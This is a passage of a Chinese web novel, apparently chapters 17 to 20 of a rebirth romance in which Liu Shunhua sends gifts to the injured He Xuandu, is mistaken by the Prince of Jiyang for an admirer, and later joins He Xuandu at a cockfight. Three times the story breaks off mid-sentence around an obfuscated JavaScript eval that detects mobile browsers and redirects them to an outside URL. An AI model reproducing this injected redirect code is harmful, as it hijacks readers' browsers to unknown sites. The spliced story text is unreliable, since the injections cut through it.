贺玄度的腿暂时是保住了,可日后却难说。 想到上辈子府内之人三缄其口,柳舜华遽然一惊。 难不成,贺玄度的腿,真的是贺丞相打断的? 想了想,她又觉得自己多心了。 虎毒还不食子呢,贺丞相就算再不喜欢贺玄度,也不至于如此绝情才是。 贺丞相自诩公正,从不结党,此番动怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863681|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,多半是因贺玄度擅自站在济阳王一方,引起朝中众臣猜忌,他这才不得不动手,以此打消那些不实的想法。 说到底,还是不把他当回事罢了。 若是换成贺玄晖,他定舍不得下重手。 不过话说回来,以贺玄晖那做事滴水不漏的性子,也不会到处招惹是非。 柳舜华不去多想,她问:“二公子现在还能走路吗?” 洪声愁眉苦脸,“到底是挨了几板子,别说走路,下床都难。没个三五日,是好不了的。” 贺玄度是个喜爱玩乐的,躺在床上这么些天,他怕是要闷坏了。 柳舜华怕他这些日子无聊,回到柳府便忙活起来。 她先是找了一根手指般大小的细竹子,拿刀砍了,裁成大小不一的竹节,又寻了最细的一段磨成尖刀的模样。 柳棠华看她在廊下忙来忙去,好奇地扒拉着竹节,歪着头看柳舜华将竹节全部掏空,仔细打磨光滑,然后用红线将它们串在一起。 待竹节全部串好,柳舜华将它拿在手上,放在指间,稍一用力,红线拉直,一个小人赫然立了起来。 柳棠华拍手道:“姐姐,这个是什么,真好玩,怎么以前没见你做过?” 柳舜华略一恍神,笑了笑:“这个是竹节人,我新学的。” 初嫁进相府时,她还对贺玄晖抱有幻想,时不时借口去他书房。 贺玄晖撵她,她就厚着脸皮赖着,只说要同他一起看书。 偶尔几次,贺玄晖懒得与她费口舌,虽不赶她走,却是不理她的,只自顾自地看书写字。 贺玄晖的那些圣贤书,她哪里看得进去,每次一看便困,困了就倚在墙边打瞌睡。 这个竹节人的做法,就是她偶然在书房内一本杂记上看到的。 此后,她更是借着看书的由头,屡屡出入书房。 贺玄晖终于忍无可忍,连人带书给她扔了出去。 …… 柳棠华拿过竹节人,学着柳舜华的样子,牵一下红线,小人低下头。再牵一下,小人举起竹刀。 她觉得有趣极了,撒娇道:“姐姐,这个给我玩好不好?” 柳舜华将小人收到手中,“这个说好了,要送人的。你若喜欢,明日我再做一个给你便是。” 柳棠华不服气,“什么人这么重要,比你亲妹妹都重要?” 柳舜华捏了捏她气鼓鼓的小脸,“你多大了,还这么爱吃醋。说好了明日给你,听话。” 两个竹节人当天便到了贺玄度手里。 洪声当着贺玄度的面,照葫芦画瓢,将柳舜华教他的展示了一番。 贺玄度趴在榻上,正百无聊赖,见了这么一个玩意,自是喜不自胜。 不消片刻,他便已熟练操作,左右手拿着两个小人作战。 “你从哪里找的这么个好玩意儿?” 洪声笑道:“柳小姐送的,说是给你解闷。” 贺玄度一听,下意识捂住被打得肿起的屁股,声音不觉有几分恼怒,“是不是你多嘴?” 洪声觉得冤枉,“少爷,人家柳小姐也是担心你,她都跑到相府门口了,我总不好哄她吧。” 贺玄度垂着头,“算了,知道就知道吧,反正在她面前丢脸也不是一次两次了。” 洪声弯腰凑过去,“少爷怎么能说是丢脸呢?你不知道,听说你被挨了板子,柳小姐哭得死去活来的,别提多伤心了。” 贺玄度震惊:“就为这点事,哭得死去活来?” “少爷,你要走桃花运了。”洪声说得无比肯定,“依我看,柳小姐她一定是喜欢上你了。” 18. 第 18 章 贺玄度不是没想过,柳舜华对他别有用心。 可他总觉得,柳舜华看他的目光有些怪。 她看他时,总是带着几分探索,好似要从他身上寻到什么答案。 他很清楚,那眼神,绝不是单纯的爱慕。 想到此处,他突然没了兴致,便将手中的竹节人放下。 洪声看他停了下来,上前替贺玄度换药,“幸亏老夫人过来得及时,不然这可如何是好?” 贺玄度疼得轻嘶一声,“若不是银纤姑姑早做打算,祖母哪有这么快赶来,还轮到你给我上药,收尸还差不多。” 洪声呸呸两下,“公子不要净说这些晦气话。再过几日便是老夫人大寿,老爷他怎么可能下狠手。” 贺玄度冷哼一声,“明知打了我祖母不依,他还下手,真是大孝子。” 洪声吓得魂都掉了一半,恨不得上去捂住他的嘴,“我的祖宗,你可当心点吧,这样大逆不道的话也敢说。” 贺玄度打着哈欠,看了眼放在一旁许久的餐食,“这些太腻了,我吃不下,你端下去吧。” 洪声忙道:“公子想吃什么,我让他们再做些送来。” 贺玄度抬抬眼皮,“没什么胃口。” 洪声走后,屋内只余贺玄度一人,屋子顿时空荡冷寂起来。 天色阴沉,不多时,便下起了雨。 零零星星的雨落在芭蕉叶上,滴滴答答地响着。 贺玄度浑身发凉,拉过褥子盖在身上。 他趴在榻上,不能动弹,试图透过窗子去瞧外面的景致。 却只看到一角光秃秃的墙。 冷风透过窗缝吹来,隐隐有竹子的清香。 院内并没有栽种竹子,贺玄度找了一圈,才意识到是竹节人的气味。 他将竹节人拿起,轻轻一嗅,清新悠长的香气夹杂着女子脂粉香,萦绕在鼻尖,久久不散。 方才未有留意,如今细细一看,竹子依旧苍翠,像是新竹。 他摩挲着竹节,指尖带着新竹特有的清凉。 这个竹节人,是新做的。 他在长安鲜少见到此物,柳舜华怎么会这么快寻来送他? 一股莫名的情绪涌上心头,他突然意识到,这个竹节人,或许正是柳舜华亲手为他做的。 …… 贺玄度无辜遭罪,柳舜华自觉她多少也要担一点责。 虽未见贺玄度,不清楚其中缘由,但若非她邀他去望月楼,贺玄度便不会遇上济阳王,自然也不会发生后面这些事。 毕竟此事因她而起,想到贺玄度躺在床上,柳舜华有些愧疚。 他被打了板子,尽快恢复才是最重要的。 可相府吃穿用度皆是最好的,用药也不例外,根本用不到她做什么。 隔了两日,她又去找洪声。洪声说贺玄度伤口已是大好,可却没什么胃口,人也消瘦不少。 柳舜华思来想去,决定去摘些新鲜山果子给他开胃。 这日云散日朗,正适宜外出游玩,柳舜华带着芳草上了春蒙山。 春蒙山位于城东,从柳府过去一路坦途,极为便利。更因每到春日,半山腰便结有一种红色的果子,酸甜可口。故此,她与棠华春日常来此赏景。 出城行至春蒙山,马车停在山脚下。 山势平缓,主仆二人拾级而上,不多时便至半山腰。 此时山顶一片苍翠间山杜鹃开得正浓,山岩之上,草木盘结,青松蜿蜒。云雾缭绕间,有鹤盘旋。 不至山林,不知春深。 柳舜华久在樊笼,现下在这半山腰,吹着山风,竟生出餍足之感。 坐在山石之上,静静赏了会景,柳舜华才向着山雀鸣叫之处走去。 芳草跟在身后,气喘吁吁,“小姐,你想吃果子,去集市买些不就好,干吗非要受这罪。” 柳舜华道:“集市上那些都吃腻了,不如山间的新鲜。” 两人又吭哧吭哧地走了百余步,来到一处斜坡,柳舜华远远看到一丛丛果子垂挂着,红灯笼似地喜人。 她欣喜地跑过去,慢慢下了斜坡。 芳草在后面提醒道:“小姐,你慢点,当心摔了。” 柳舜华冲她一笑,走到树前,顺势拉过一丛枝叶,垫着脚,挑拣些没被雀儿啄过的果子摘了起来。 芳草跟在后面,拿出小背包,接过柳舜华手中的果子,小心放到包中,“小姐,我来摘吧。” 柳舜华忙道,“不用,我自己摘。有些果子太酸,要仔细分辨才行。” 山果树斜枝横生,枝叶粗糙,柳舜华手背上被划了好几条血痕,却浑然不觉。 芳草看得心疼,“小姐,你这手真是遭罪,前几日的伤还未好,这就又添了新伤。” 柳舜华瞥了一眼手背,“这些都是小伤,无碍的,之前咱们可是……” 她突然止住了,相府那些不为人知的辛苦时日,已经过去了。 芳草一脸迷惑,正等着她接着说,却听柳舜华笑道:“已经够了,咱们回吧。” 野果充足,柳舜华足足摘了两大兜。 芳草边走边问:“小姐,怎么摘这么多,你和二小姐吃得完吗?” 柳舜华笑道:“一份留给棠华,另一份我要送人。” 两人一路说笑,方下了山,远远便瞧见一队人马浩浩荡荡而来。 待行得近些,柳舜华望着彩帜上的龙纹,大惊失色。 长安东行,此处为必经之地。 济阳,便在长安之东。 柳舜华本想要避让,可一路坦途,却是避无可避。 成川眼尖,越过人群,一眼落在柳舜华身上。 他行至马车前,低声向内道:“王爷,是柳小姐。” 刘昌半陷在软毯内,头一歪,拿了颗葡萄塞进嘴里。 “哪个柳小姐?”刘昌懒洋洋地问,他压根不记得什么柳小姐。 成川提醒,“望月楼,王爷让我查的那个。” 刘昌一听,腾一下坐了起来,探出头问:“哪呢?” 成川用手一指,“那里。” 山脚下,柳舜华一身青衣裾裙,亭亭而立,垂首站在路边。风吹着她的衣袖,流云卷舒,胜遍世间美景。 刘昌手一挥,马车停在柳舜华跟前。 他眉眼弯弯,敛去上次相见时的张狂与肆意,笑得格外愉悦,“柳小姐,又见面了。” 柳舜华骇然,猛地抬起头,他怎会知道她是谁。 刘昌瞧见她眼中的惊愕,全当看不见,眉梢一挑,“此处偏僻,柳小姐怎么会在此?” 柳舜华勉强挤出笑来,“回王爷,小女来此踏春。” 此处景致瞧着也无甚特别,何况离城中又远,寻常贵女怎么会来此踏春? 他提前离开长安,鲜少有人知晓,怎么就这么凑巧碰到柳小姐? 刘昌稍一琢磨,柳小姐兄长负责此次藩王觐见事宜,自然知晓他何时离开长安。 结果显而易见,她是特意来送行的。 刘昌笑容愈发深了,“柳小姐,真没想到,你会特地来此相送。” 柳舜华不知他心内百转千回的想法,愈加迷惑。 他究竟是从哪里看出,她是来送行的。 刘昌眼一瞥,看到她怀中抱的果子,“柳小姐还特地带了礼物?” 成川心细,忙上前从柳舜华手中接过果子,呈递给刘昌。 柳舜华还未反应过来,果子已经到了刘昌手里。 刘昌拿起一个,在衣袖处蹭了蹭,塞进嘴里,连连点头:“甜,比我在城里吃得那些果子甜多了。” 一旁的芳草恍然大悟,忍不住道:“方才小姐说是摘果子送人,原来……” 柳舜华侧身朝芳草使眼色,示意她住嘴。 刘昌将她的小动作尽收眼底,只当她是被道破心思,有些扭捏,心内愈加肯定自己的猜测。 想他逍遥十数年,什么好东西没见过,什么好吃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863682|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没吃过。 却不曾想有一日,会有姑娘不辞辛劳登山,只是为亲手摘下野果,特意为他送行。 刘昌大受感动,等不及下车,当即便想钻出车窗。 结果人还未爬出来,脸却憋得涨红,“来人啊,卡……卡住了。” “快,快,愣着做什么,帮忙啊。”成川忙招呼众人,费力将他拉出来。 柳舜华看得目瞪口呆,他这是要作甚? 众人七手八脚,小心翼翼地将刘昌放至地面。 他若无其事地理了理衣袖,款步走了过来,“柳小姐,多谢,有心了。” 说罢,他从腰间解下玉佩,拉过柳舜华的手,将玉佩塞在她手里。 “柳小姐的心思,我已然知晓,还望柳小姐放心。” 一股灼热传至掌心,柳舜华浑身一抖,忙抽回手。 济阳王什么意思,要她放心什么? “王爷,时辰不早了,要继续赶路了。”成川小心提醒。 刘昌目光灼灼,盯着柳舜华又看了一眼,这才转头恋恋不舍地爬上马车。 掌心尤带着脂粉香,刘昌用力嗅了几下,朝车外道:“成川,你说,那柳小姐她看上我哪了?” 成川自小便跟在济阳王身边,看惯了他的荒唐行为,丝毫不觉得他有任何问题。 他说得理所当然,“王爷人中龙凤,长得又俊,被柳小姐看上实属正常。” 刘昌点头,说得有理。 再看一路桃李秾艳,又有佳人相送,心中好不畅快,忍不住高呼:“春不负我啊!” 柳舜华望着渐行渐远的马车,怔愣了许久,还是不明白,她到底哪里引起了济阳王的误会。 芳草见人已走远,这才小心翼翼道:“小姐,你今日特意过来摘果子,就是为了这个什么王爷啊?可是他那样的,瞧着也太……” 柳舜华瞥了芳草一眼,“谁说是为他了,我哪里知道他今日回封地,谁知道他发什么颠。” 芳草捂住心口,心道苍天护佑,小姐的眼光还是正常的。 她低头看着怀中的果子,“小姐,既然不是送他,那现在怎么办,只剩这一袋果子了,再去摘怕是来不及了。” 柳舜华朝山上看了看,“这果子棠华左右也吃腻了,这样吧,等到了城里,你去买些糕点带回去给她。” 芳草贼兮兮地凑过去:“小姐要送何人啊,竟然连二小姐都要靠边?昨日也是,小姐,你不会是要送给哪个心上人吧?” “乱说什么,讨打。”略一抬手,柳舜华笑容僵在脸上。 她才发现,刘昌方才送玉佩时,竟将绳子缠在了她手腕上。 怪道方才总觉得哪里不对,仿佛手臂有些沉。 她竟收了济阳王的玉佩! 车马粼粼,济阳王一行已至转弯处,眼看便要消失在眼前。 柳舜华忙提起衣裙,举起玉佩,朝着他们的马车跑去。 快转弯时,成川眼一瞥,瞧见追在马车后的柳舜华。 他靠近马车,又朝内道:“王爷,柳小姐她追过来了。” 济阳王一听,脑袋探出窗外,果然瞧见柳舜华在后面。 离得太远,他听不清柳舜华在说什么,只见她高举着玉佩,双唇一张一合。 不过,不用想他也知道,她定是让他不要忘了自己。 他朝着柳舜华挥手,深吸一口气,高喊道:“别追了,你放心,我说过的话,不会忘的。” 马车一转,过了弯道,柳舜华被远远抛在后面。 济阳王叹道:“自古英雄难过美人关,我竟然就这么白白地辜负了美人。真是,不该啊。” 别说济阳王,就连成川也被感动得一塌糊涂,“王爷,柳小姐,真是个痴情人啊。” 济阳王略微伤感道:“待我回到济阳,定要想办法,给她一个名分。” 柳舜华气喘吁吁地靠在斜坡之上,望着消失的马车,心内无比绝望。 这误会好像有点大。 19. 第 19 章 山果子送到丞相府的时候,贺玄度正命人把晚膳撤掉。 这些天他不能下床,心中烦闷,嘴里无味。 洪声拿了果子进来,“少爷,新鲜的山果子,你要不要尝尝。” 贺玄度瞧了一眼,红彤彤的果子,小小一个,玲珑可爱。 他拿起尝了一个,酸酸甜甜,很是开胃。 “这是什么果子,哪里来的,之前怎么都没见过?” 洪声笑道:“我也不知道是什么,柳小姐送来的,说是新摘的。” 贺玄度手停了下来,低头看着咬了一口的果子,“是她自己去摘的?” 洪声挠挠头,“这个我就不知道了,柳小姐没说。” 贺玄度一个果子扔过去,“什么都不知道,跟了我这些年,还是这么没眼力见。” 洪声低声嘟囔,“这不就是因为跟着少爷,才这么没眼色。” 贺玄度捏着手里的果子,思索片刻,“你去跟她说,不用再费心给我送东西了,她又不欠我什么。” 洪声一听,这话他熟。 少爷此前回绝那些个缠着他的女子,用的就是这个借口。 少爷一向不喜自持端庄的女子,柳小姐这样的娇艳大美人,确实不是他属意的。 柳小姐虽对少爷有意,可感情之事终究不能勉强。 少爷这好朵大好的桃花,又要折了。 相府门前,柳舜华秀眉蹙起,“贺玄度说,让我别再白费心思了?” 洪声点头,“对啊,少爷特意说了,不想和柳小姐有什么亏欠。” 柳舜华不知贺玄度为何突然这么说,望月楼内他明明是帮了她的。 她声音轻柔,咬着唇角,眼眶微微泛红,“是果子,贺玄度不喜欢吗?” 洪声虽心下不忍,但到底长痛不如短痛,狠心道:“柳小姐,实话跟您说,您就放弃吧,少爷他不喜欢死缠烂打的。” 柳舜华怔愣片刻,他的意思是,贺玄度觉得她太烦了。 她费心费力去做竹节人,上山摘野果,想替他解闷,没曾想到了贺玄度那里,竟成了负担。 柳舜华心内无比委屈。 若是换作以往,她这样掏心掏肺待一个人,却被如此嫌弃,她定会走得干干脆脆,与他再无任何瓜葛。 可是,这个人是贺玄度啊。 …… 马车悠悠晃晃,晃得柳舜华心中愈加烦闷。 今日真是出师不利,贺玄度没有亲近成,反而招来济阳王这个大麻烦。 她垂眸看着手中的玉佩,忍不住头疼。 济阳王不知怎的,突然就起了误会。 她盘算着要不要差人将玉佩送回,并附信解释。 可这玉佩一看便是价值连城,若是途中磕磕碰碰,她可赔不起。 刘昌远在封地济阳,天高皇帝远的,即便一时半会误解,也并无大碍。 麻烦的是睿帝崩逝后,济阳王便会登基成为新帝。 若是等他登上至尊之位,突然又想起她来,还是有些难办。 可又转念一想,他这个帝王,好像只坐了两个有余。 也就是说,即便将来他起了心思,只要熬过两个月,便万事不愁。 如此想着,柳舜华才又放松下来。 一连几日,贺玄度都未见柳舜华再送东西过来。 他到底忍不住了,抓住洪声问:“这两日没有什么东西要给我?” 洪声不解:“没有啊,少爷你是指什么?” 贺玄度想了想:“就比如,一些新奇的玩意什么的?” 洪声挠挠头,“少爷,你是想要买什么东西吗?你说,我这就去买。” 贺玄度白了他一眼,“算了,跟你说了也是白说。” 休养几日,他已经能起身行走,便半趴在床上,玩了一会竹节人,越玩越烦躁。 这个柳舜华,若是不送东西,从一开始便不要送。送了两日勾起了他的兴致,她却突然不送了,害得他愈发无聊。 她连送几日,他几乎要以为她是真心实意地感激他,却不料她不过一时兴起而已。 他想起贺容暄小时养的那只猫,高兴的时候她便抱在怀里揉几下,不高兴的时候就一脚踢开。 他觉得,他就像是那只猫。 待身体恢复得七七八八,贺玄度早已按捺不住,不顾洪声的劝阻便出了门。 望月楼内,洪声看着贺玄度喝了半坛葡萄酒,再忍不住:“少爷,您才能下床就跑出来也就算了,这怎么还能喝这么些酒呢?” 贺玄度又饮了一杯,眼皮一翻,“无聊。” 洪声凑上前去,“少爷若是无聊,咱们可以去平清坊啊,听听曲多好。” 贺玄度:“太吵。” 洪声连连吃瘪,抓耳挠腮,少爷这一病,怎么整个人都抑郁了。 贺玄度头转向窗外,淡淡地看着街上来来往往的行人,三三两两作伴,其乐融融。 街对面一个卖糖人的中年妇人,叫卖了半日也没一个顾客。她身旁站了个小童,不时用袖口擦着铺上的尘土,衣着单薄,穿一双草鞋,一张小脸冻得通红。 中年妇人大约是叫得累了,停下来,笑着看着小童,伸手拿了一个糖人递给小童。 小童得了糖人,高兴得不行,刚伸出舌头准备起舔,突然停住了。 他将糖人举起,“娘先吃。” 中年妇人笑着拍着他的头:“娘不吃,你吃吧。” 贺玄度看得出神,半晌后,他回过神,对洪声道:“你去,把糖人全买了。” 洪声看了一眼,“少爷,那么多你吃得完吗?” 贺玄度不耐道:“你管我吃不吃得完,小爷高兴买,你买便是。” 洪声知晓他那脾气,做事一向没个常理,只得遂了他的意。 贺玄度瞧着洪声走了过去,方收回视线,便看到一道熟悉的人影。 人潮涌动中,贺玄度一眼便瞧见她。 柳舜华正提着一盒糕点,踏过石桥,款步走在岸边。 她步履轻盈,杨柳影随风摆动在她衣裙上,脸上挂着笑,浸染着周遭凡尘烟火气,如春日葳蕤的草木,生机盎然。 隔着雕花的木窗,贺玄度就这么静静地看着她。 柳舜华跳过一个小水坑,蓦然抬眸,正对上贺玄度的目光。 视线交汇的刹那,柳舜华触电一般,迅速背转过身去,不再看他。 贺玄度无端有些气恼,她竟然毫无理由地躲着他。 难道当初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863683|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是她先招惹的他! “柳舜华!”他忍不住朝她叫了一声。 柳舜华顿住脚步,缓缓转身,“贺二公子,您叫我?” 贺玄度耐着性子,“你过来,我有话同你说。” 柳舜华并没进去,只是站在墙根下,一动不动。 “你什么意思,躲着我是吧?”贺玄度冷笑。 若是嫌他,当初就不应该主动招惹,何况他并未做错什么。 柳舜华丝毫不为所动,“贺二公子有话请讲。” 她语气虽是疏离,脸上却露出几分委屈来。 贺玄度要被气笑了,他都不曾委屈,她倒委屈上了。 他道:“让你过来,你站那么远作甚?我还能吃了你?” 柳舜华见他一副若无其事的模样,愈加委屈,一双眼眸仿佛沾染了水岸的雾气。 “不是你说的,让我别费心思,别死缠烂打?” 贺玄度一愣,“我什么时候说过?” 见他还不承认,柳舜华上前几步,分辩道:“就前几日,我送野果子给你,你让洪声出来赶我走。” 贺玄度眉头一皱,“我什么时候让洪声赶你走了?” 柳舜华呆愣了片刻,见他不似撒谎,便道:“你真不曾说过?” 贺玄度摇头,“我从未如此说过。” “少爷,糖人全买回来了,您要吃一个吗?”洪声举着一手的糖人进来。 贺玄度黑沉着脸,“洪声,前几日我让你向柳小姐传话,你怎么说的?” 洪声意味深长一笑,“少爷不是让我打发柳小姐嘛,放心,我已经办妥了。” 贺玄度急了,“谁让你打发她了?我那就是客气一下,才说让她不必再送东西过来。” 洪声点头,“是啊,少爷是这么说的啊。以往少爷打发那些纠缠你的女子,不都是这么说的。” 这个猪脑子,贺玄度真想一个巴掌拍过去。 “不是,我不是那个意思。这不前几天刚下了雨,山间路滑,我怕你一个姑娘家上山摔着。还有,那个济阳王,他最近几日要回封地,我怕你出门再撞上他。”怕柳舜华不信,他又道:“我真的不是那个意思,那个竹节人很好玩,山果子也好吃,我都很喜欢。” 贺玄度滔滔不绝地解释着,不知为何,一见她伤心难过,他就有些慌。 柳舜华瞧着他手忙脚乱的样子,心中的郁悒一扫而空。 她心头微热,朝着贺玄度粲然一笑,“我信你。” 贺玄度微微一滞,挠头道:“你不生气了?” 柳舜华半垂着眸,嘴角带笑,“我没有生气,就是以为你觉得我烦,有些憋屈。” 洪声进门时并未瞧见柳舜华,听了贺玄度解释,方知犯了大错。 他轻手轻脚地移过来,对着窗外的柳舜华尴尬一笑,“柳小姐,你也在啊。” 柳舜华微笑点头。 洪声苦着脸,不停举手作揖,“柳小姐,我错了。是我愚笨,误解了公子的意思,您就饶了我吧。” 贺玄度瞥了他一眼,又看了他手中的糖人。 “既然你嘴那么闲,那就把这些糖人全吃了吧。” 想了想,尤不解气,又加了一句:“吃不完,不准回府。” 20. 第 20 章 误会解开,隔着窗子,两人各自傻笑了一阵。 半晌,贺玄度才道:“你要不要进来坐坐?” 柳舜华点头,走了进去。 见桌上葡萄酒空了一半,柳舜华微微蹙眉,“怎么喝这么多?饮酒不利伤口愈合。” 贺玄度忙把酒封上,“正准备要封起来呢。” 柳舜华下意识地看了看他的腿,“你的腿,没事吧?” 贺玄度突然想起,第一次相见,柳舜华似乎也是问他的腿。 她对他的腿,就这么感兴趣? 他莫名有些不自在,将腿往回收了收,“没事,早好了。” 柳舜华也觉有些唐突,干咳一声,“对了,我一直没有机会问你,怎么济阳王砍人之事,落到了你头上?” 贺玄度漫不经心道:“那日你们走后,我和济阳王就一起喝酒,越聊越投机。然后,喝着喝着就喝到了他府上。谁知道就喝多了,正巧碰到你兄长上门,我一时意气,想着有难同当,就帮他担着了。” 柳舜华扫了他一眼,他还真是……心思单纯。 “那你们是怎么脱困的,我听说你们查到了许多卓家公子的罪证。” 贺玄度一脸兴奋,“你说那个证据啊,我喝醉后,济阳王差人送我回府。回府路上,有人往我马车里塞了一沓纸进来,我迷迷糊糊地就揣怀里了。” 怎么会这么巧,碰巧在济阳王那里喝醉,碰巧有人送上证据。 突然,柳舜华心中闪过一个念头:这一切,会不会是济阳王的阴谋,他出于某种目的,想要拉贺家下水? 济阳王,会不会根本就不是一个荒唐的王爷,而是个有心计擅谋算的老狐狸。 脑海中济阳王被卡在马车窗的一幕倏然涌现,柳舜华摇摇头。 这个可能性,好像不太大。 贺玄度拿手在她面前挥了挥,“你想什么呢?” 柳舜华回过神,“没想什么。” 没有酒喝,又过了用膳的时辰,两人干坐了片刻,一时有些尴尬。 柳舜华想了想,开口道:“平日里,这个时辰你都做些什么?” “斗鸡啊!”贺玄度脱口而出。 说完他便后悔了,他见过太多那种充满嘲笑,不屑一顾的眼神。 他不想柳舜华也对他露出那种眼神。 “好啊,一起吧。”柳舜华淡声道。 这两日,她误以为贺玄度对她厌烦,虽觉得委屈,却也想了许多。 贺玄度与上一世的他截然不同,已是不争的事实。 她问自己,若贺玄度一直是这副模样,她会失望,就此远离吗? 她很确定,她不会,也不愿。 今生无论贺玄度是何模样,她都会尽自己所能,帮他逃过一劫。 她必须要去了解贺玄度,然后想办法说服他,逃离长安,飞得远远的,再也不回来。 贺玄度怔愣许久,“你说你要跟我一起去斗鸡?” 柳舜华十分肯定地点头,“走吧。” 洪声咔嚓一声,一口将糖人咬碎。 …… 斗鸡场在皇城西门处,临近西市,此时早已是人头攒动。 贺玄度侧着身子,拨开人群,为柳舜华挤出一条路。 被贺玄度扒开的壮汉愤怒转身,骂骂咧咧,瞧见是他后,脸上堆着笑,不再吱声。 斗鸡场里多是男子,何曾来过这么年轻的小姑娘。 众人忍不住偷偷打量,小姑娘虽然戴着帷帽,但风姿不俗,又跟在贺玄度身后,不用想也知,必然是个绝色的。 柳舜华头一回到这种场合,难免有些不适应,只低头蹙眉跟着贺玄度走。 贺玄度不耐地挥手,“看什么看,都给我滚远点。” 众人闻言,纷纷散开。 贺玄度熟练地走到一处台前,见他过来,场主忙让人搬了椅子。 贺玄度偏头示意,“没看到我们两个人吗?” 场主一拍脑袋,“是我眼拙,该打,这就让人再搬一张来。” 柳舜华扫了一圈,发现只有他们这里放了椅子。心叹果然是相府出来的,即便再不受宠,外人面上也不敢轻看。 场主走到贺玄度跟前,弯腰问道:“今日是这只黑鸡和花鸡,刚准备开场,不知道贺二公子要押哪个?” 贺玄度问:“今日怎么个玩法?” 场主笑回:“三局两胜。” 贺玄度眯眼瞅了片刻,随意用手一指,“那个花的吧。” 场主笑了下,“贺二公子,不再考虑一下。” 贺玄度展开扇子,不耐道:“就它了,还是老样子。” 场主也不再多言,忙下去准备。 柳舜华看了看两只鸡,虽然她不太懂斗鸡,但那只黑鸡明显更精瘦结实,高扬着头,两爪粗壮,羽翼有力,看起来强悍无比。 再看那只花鸡,一脸呆相,垂头闭目似在打着瞌睡。 不一会,只听一声鼓响,两只斗鸡被投入围栏之内。 鼓声再起,声声催人。 黑鸡听到鼓声,登时进入战斗状态,伸长着脖子,向花鸡发起进攻。 花鸡明显还未做好准备,冷不丁地被啄了一口,背上一撮毛被黑鸡叼了去。 黑鸡乘胜追击,拍打着翅膀,腾空而起,对着花鸡一顿猛啄。 不一会,围栏内花鸡羽毛散落一地,本就稀疏的羽毛更加秃了。 围观的众人纷纷叫好,寥寥几个押了花鸡的垂头叹气。 柳舜华看着气定神闲的贺玄度,问道:“你不是常玩斗鸡,怎么会选这个花鸡?” 贺玄度不紧不慢道:“自然有我的道理。” 柳舜华看着场内的战况,“你不担心它会输?” 贺玄度笑道:“有什么好担心的,这局,它输定了。” 话音方落,鼓声再次被敲响。 花鸡被连攻数次,无力还击,败了。 柳舜华扑哧一笑,“你不说黑鸡输定了,怎么花鸡却败了?” 贺玄度转向她,“我说的就是花鸡。” 柳舜华不解,“既然知道它会输,那为何还要选它?你不会就只是想看个热闹吧?” 贺玄度凑近了些,方想解释,一阵风起,柳舜华的帷帽被风一吹,飘到他的脸上,淡淡的香气,让他心神微漾。 柳舜华下意识地探身去扯帽纱,一抬头发现,两人近在咫尺。 隔着朦胧的轻纱,两人眸中霎时慌乱。 半晌,贺玄度往后退了一下,敛了心神,“那花鸡毛疏,且身上有不少啄痕,看起来的确不够凶猛。可这也恰好说明它身经百战,那些啄痕够深,够硬,反而更能保护它。” “而且,方才我仔细瞧了,这只鸡头小眼大,鸡冠有瘤,喙短且粗,应是中原鸡。此鸡最是坚毅,若比拼耐力,它未必会落下风。” 柳舜华还是有些不信,指着被啄成秃子的花鸡,笑道:“它都这样了,都不知道反击,怕不是个呆的吧。你若不是瞎选,便是要看走眼了。” 这话贺玄度不爱听了,他斗鸡这么些年,可不是白玩的,“它只是还没被激怒,在观察而已。望之似木鸡,其德全矣[1],你懂什么?” 柳舜华笑容僵在脸上,透过轻纱,就像隔着一世的光阴,静静地望着贺玄度。 贺玄度虽看不清她的面容,却也感觉到气氛有些古怪。 片刻,柳舜华缓缓开口:“你也喜欢读《庄子》?” 贺玄度怔愣一下,嬉笑道:“什么《庄子》,我说的是斗鸡。这些话,斗鸡的都知道,还什么《庄子》,傻了吧。” 他仰着头,双手撑在椅子边缘,晃悠着脑袋,目光又回到斗鸡场。 似有微微一声叹息,他余光一瞥,瞧见柳舜华转了头,专心去看斗鸡。 很快来到第二场,黑鸡依旧勇猛,张开双翼对着花鸡扑去。 花鸡闪躲了几下,黑鸡紧追不舍。 突然,花鸡猛地转过身,对着黑鸡鸡冠狠啄起来,霎时黑鸡头上鲜血涌出。 黑鸡一直占据上风,冷不丁被啄了鸡冠,头上的毛瞬间炸起,朝着花鸡俯冲而来。 花鸡体型较弱,一时不敌,被黑鸡死死压制。 柳舜华看得紧张,整个人忍不住往前探了探身。 就在这时,花鸡脚爪奋起,朝着黑鸡的脖颈狠狠一击。 黑鸡吃痛,爪子一松,花鸡趁机逃脱。 接连受挫,黑鸡疯一般朝花鸡攻去,花鸡一边防守一边退后,趁着黑鸡转身的间隙,对着此前受伤的鸡冠又是一啄。 黑鸡方才止住的血顿时又流了起来,血顺着鸡冠流入眼中。 